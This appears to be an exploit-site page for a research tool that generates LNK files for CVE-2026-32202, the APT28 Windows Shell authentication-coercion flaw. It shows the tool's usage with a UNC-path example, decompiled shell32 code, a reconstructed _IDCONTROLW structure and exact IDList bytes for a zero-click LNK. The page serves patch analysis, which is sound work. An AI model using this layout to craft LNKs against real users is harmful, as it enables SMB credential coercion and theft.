Share
## https://sploitus.com/exploit?id=BA93BDE7-6C0D-56EC-85C4-E0D856EC54CB
# Exploit
```bash
python3 CVE-2026-32202.py -h
usage: CVE-2026-32202.py [-h] --unc PATH [--out FILE] [--applet-id INT] [--name STR] [--infotip STR] [--no-dump]

Generate a test LNK file with an _IDCONTROLW structure.
Research tool for CVE-2026-21510 / CVE-2026-32202 patch analysis.

options:
  -h, --help           show this help message and exit
  --unc, -u PATH       UNC or local path to embed in _IDCONTROLW (e.g. \\192.168.1.31\share\test.cpl)
  --out, -o FILE       Output LNK filename (default: test_idcontrolw.lnk)
  --applet-id, -a INT  Signed applet ID for dwAppletID (default: -201 = 0xFFFFFF37)
  --name, -n STR       Display name of the CPL applet (default: "Research CPL")
  --infotip, -i STR    Tooltip string (default: "CVE-2026-21510 research")
  --no-dump            Suppress the hex dump of _IDCONTROLW

Examples:
  python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl
  python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl --out poc.lnk
  python CVE-2026-32202.py --unc \\srv\share\x.cpl --applet-id -201 --no-dump
```

## Reverse Engineering `_IDCONTROLW`: Reconstructing an Undocumented shell32.dll Structure

> **Research context:** Analysis of CVE-2026-21510 / CVE-2026-32202 (APT28 LNK exploit chain).  
> Based on [Akamai Security Research](https://www.akamai.com/blog/security-research/incomplete-patch-apt28s-zero-day-cve-2026-32202).  
> **Goal:** Reconstruct the internal `_IDCONTROLW` structure used by `shell32.dll` to represent Control Panel applets inside a `LinkTargetIDList`.

---

## Background

APT28 exploited a vulnerability in Windows Shell (`shell32.dll`) by crafting a malicious `.lnk` file containing a `LinkTargetIDList` with a UNC path embedded inside an undocumented `_IDCONTROLW` structure. This caused `explorer.exe` to initiate an SMB connection to an attacker-controlled server without user interaction (zero-click).

The structure `_IDCONTROLW` is **not documented** in the public Windows SDK or in Microsoft's public PDB symbols for `shell32.dll`. This report documents its reconstruction through static analysis in IDA Pro.

---

## LinkTargetIDList Structure Overview

According to [MS-SHLLINK](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/881d7a83-07a5-4702-93e3-f9fc34c3e1e4), the `LinkTargetIDList` contains a standard `IDList` โ€” an array of variable-length `ItemID` entries terminated by a 2-byte null.

In the APT28 exploit, the IDList contains exactly three items:

| Index | Contents |
|-------|----------|
| `IDList[0]` | CLSID `{26EE0668-A00A-44D7-9371-BEB064C98683}` โ€” Control Panel root |
| `IDList[1]` | `CControlPanelCategoryFolder` item โ€” "All Control Panel Items" (category 0) |
| `IDList[2]` | `_IDCONTROLW` โ€” CPL applet entry with embedded UNC path |

This resolves to the virtual path:
```
::{26EE0668-A00A-44D7-9371-BEB064C98683}\0\{CPL entry}
```

---

## Methodology

Since `_IDCONTROLW` is absent from public PDB symbols, reconstruction was performed by tracing the call chain in IDA Pro starting from `CControlPanelFolder::GetUIObjectOf` โ€” the function responsible for rendering Control Panel items in Explorer.

---

## Call Chain Analysis

### Entry point: `CControlPanelFolder::GetUIObjectOf`

When Explorer renders a folder containing the malicious LNK, it calls `GetUIObjectOf` to extract an icon for the CPL item. This triggers the following chain:

```
CControlPanelFolder::GetUIObjectOf
  โ””โ”€โ”€ CControlPanelFolder::GetModuleMapped    โ† PathFileExistsW triggered here (CVE-2026-32202)
        โ””โ”€โ”€ CControlPanelFolder::GetModule
              โ””โ”€โ”€ CControlPanelFolder::_IsUnicodeCPLWorker   โ† detects _IDCONTROLW
```

### `_IsUnicodeCPLWorker` โ€” structure validation

```c
const struct _IDCONTROLW *__thiscall
CControlPanelFolder::_IsUnicodeCPLWorker(_WORD *this)
{
    if ( *this > 0x18u          // cb > 24
      && !*(this + 4)           // +0x08 == 0
      && !*(this + 5)           // +0x0A == 0
      && !*((_BYTE *)this + 12) // +0x0C == 0
      && *((_BYTE *)this + 13) == 106 ) // +0x0D == 0x6A
        return (const struct _IDCONTROLW *)this;
    return nullptr;
}
```

This reveals the **Unicode marker** at offset `+0x0D = 0x6A`.

### `CControlPanelFolder::GetModule` โ€” field access

```c
// Unicode path read from offset +0x18 (v5[1] = &structure[1] = +0x18):
v10 = StringCchCopyW((size_t)&v6[1], v12, savedregs);

// ANSI fallback reads from offset +0x0C:
v7 = SHAnsiToUnicode((PCSTR)(v6 + 12), a1, (int)cwchBuf) == 0;
```

This confirms that the Unicode path (`ModulePath`) starts at `+0x18`.

### `_IDControlCreateW` โ€” structure construction

```c
int __userpurge _IDControlCreateW@(...)
{
    v8  = wcslen(a2);                          // len(ModulePath)
    v9  = 2 * wcslen(a3) + 2;                 // sizeof(Name) in bytes
    v10 = 2 * v8 + 4 + v9 + 2 * wcslen(a4);  // total data size

    v11 = ILCreate(v10 + 26);                 // alloc: data + 0x1A header

    v11[1]             = a1;                  // +0x04: dwAppletID
    *((_BYTE*)v11 + 13) = 106;               // +0x0D: typeFlag = 0x6A
    *((_WORD*)v11 + 10) = (2*v8+2) >> 1;    // +0x14: cchModule
    *((_WORD*)v11 + 11) = *((_WORD*)v11+10) + (v9>>1); // +0x16: offName
    *(_WORD*)v11        = v10 + 24;          // +0x00: cb
    // strings written at +0x18
}
```

---

## Reconstructed `_IDCONTROLW` Structure

```c
struct _IDCONTROLW {
    WORD  cb;           // +0x00  size of entire structure (including cb itself)
    WORD  pad1;         // +0x02  padding, always 0
    DWORD dwAppletID;   // +0x04  applet ID (negative for registered CPL, e.g. -201 = 0xFFFFFF37)
    WORD  pad2;         // +0x08  always 0  (checked by _IsUnicodeCPLWorker)
    WORD  pad3;         // +0x0A  always 0  (checked by _IsUnicodeCPLWorker)
    BYTE  pad4;         // +0x0C  always 0  (checked by _IsUnicodeCPLWorker)
    BYTE  typeFlag;     // +0x0D  = 0x6A โ€” Unicode CPL marker
    WORD  pad5;         // +0x0E  padding
    DWORD pad6;         // +0x10  padding
    WORD  cchModule;    // +0x14  length of ModulePath in WCHARs (including null terminator)
    WORD  offName;      // +0x16  offset of Name from start of data[] in WCHARs
    WCHAR data[1];      // +0x18  ModulePath\0Name\0InfoTip (UTF-16LE)
};
```

### Field reference table

| Offset | Size | Field | Value / Notes |
|--------|------|-------|---------------|
| `+0x00` | `WORD` | `cb` | Total size of structure |
| `+0x02` | `WORD` | `pad1` | 0 |
| `+0x04` | `DWORD` | `dwAppletID` | Applet ID (e.g. `0xFFFFFF37` = `-201`) |
| `+0x08` | `WORD` | `pad2` | 0 โ€” validated by `_IsUnicodeCPLWorker` |
| `+0x0A` | `WORD` | `pad3` | 0 โ€” validated by `_IsUnicodeCPLWorker` |
| `+0x0C` | `BYTE` | `pad4` | 0 โ€” validated by `_IsUnicodeCPLWorker` |
| `+0x0D` | `BYTE` | `typeFlag` | `0x6A` โ€” Unicode marker |
| `+0x0E` | `WORD` | `pad5` | 0 |
| `+0x10` | `DWORD` | `pad6` | 0 |
| `+0x14` | `WORD` | `cchModule` | `wcslen(ModulePath) + 1` |
| `+0x16` | `WORD` | `offName` | `cchModule` (Name immediately follows ModulePath) |
| `+0x18` | `WCHAR[]` | `data[]` | `ModulePath\0Name\0InfoTip` (UTF-16LE) |

---

## Comparison: `_IDCONTROL` vs `_IDCONTROLW`

The ANSI version (`_IDCONTROL`) is created by `_IDControlCreateA` and uses a different layout:

```c
struct _IDCONTROL {
    WORD  cb;           // +0x00  = total_size + 12
    WORD  flags;        // +0x02
    DWORD dwAppletID;   // +0x04
    WORD  cchModule;    // +0x08  strlen(ModulePath) + 1
    WORD  offName;      // +0x0A  cchModule + strlen(Name) + 1
    CHAR  data[1];      // +0x0C  ModulePath\0Name\0InfoTip (ANSI)
};
```

Key differences:

| Property | `_IDCONTROL` (ANSI) | `_IDCONTROLW` (Unicode) |
|----------|---------------------|------------------------|
| Header size | `0x0C` (12 bytes) | `0x18` (24 bytes) |
| String encoding | ANSI (`char`) | UTF-16LE (`WCHAR`) |
| Unicode marker | absent | `+0x0D = 0x6A` |
| Detection | `_IsUnicodeCPLWorker` returns `nullptr` | returns pointer |
| Path start offset | `+0x0C` | `+0x18` |

---

## IDList Composition

### IDList[0] โ€” Control Panel root (CLSID `{26EE0668-...}`)

```
1F 50 68 06 EE 26 0A A0 D7 44 93 71 BE B0 64 C9 86 83
```

Type `0x1F` = root shell item with CLSID.

### IDList[1] โ€” "All Control Panel Items" (category 0)

Reconstructed from `CControlPanelCategoryFolder::CreateIDList`:

```c
*(_WORD*)v5       = 12;          // cb = 0x0C
*((_WORD*)v5 + 1) = 1;           // flags = 0x0001
v5[1]             = 0x39DE2184;  // magic identifier
v5[2]             = 0;           // category index = 0
```

Binary:
```
0C 00 01 00 84 21 DE 39 00 00 00 00
```

### IDList[2] โ€” `_IDCONTROLW` with UNC path

Example with `\\192.168.1.31\share\test.cpl`:
```
9E 00           โ€” cb = 158
00 00           โ€” pad1
37 FF FF FF     โ€” dwAppletID = -201
00 00           โ€” pad2
00 00           โ€” pad3
00              โ€” pad4
6A              โ€” typeFlag = 0x6A โœ“
00 00 00 00 00 00  โ€” pad5 + pad6
1E 00           โ€” cchModule = 30
1E 00           โ€” offName = 30
5C 00 5C 00 ... โ€” \\192.168.1.31\share\test.cpl (UTF-16LE)
```

---

## Vulnerable Code Path

The vulnerability chain in the **unpatched** version:

```
Explorer renders folder
  โ†’ CControlPanelFolder::GetUIObjectOf (icon extraction request)
    โ†’ CControlPanelFolder::GetModuleMapped
      โ†’ PathFileExistsW(pszPath)   โ† SMB connection initiated HERE
```

Microsoft's patch (CVE-2026-21510) introduced `ControlPanelLinkSite` which adds SmartScreen verification via `IVerifyingTrust::OnVerifyingTrust` โ€” but only at the `ShellExecuteExW` stage. The `PathFileExistsW` call in `GetModuleMapped` occurs earlier in the chain and was not addressed, leaving CVE-2026-32202 (authentication coercion) unpatched until a subsequent update.

---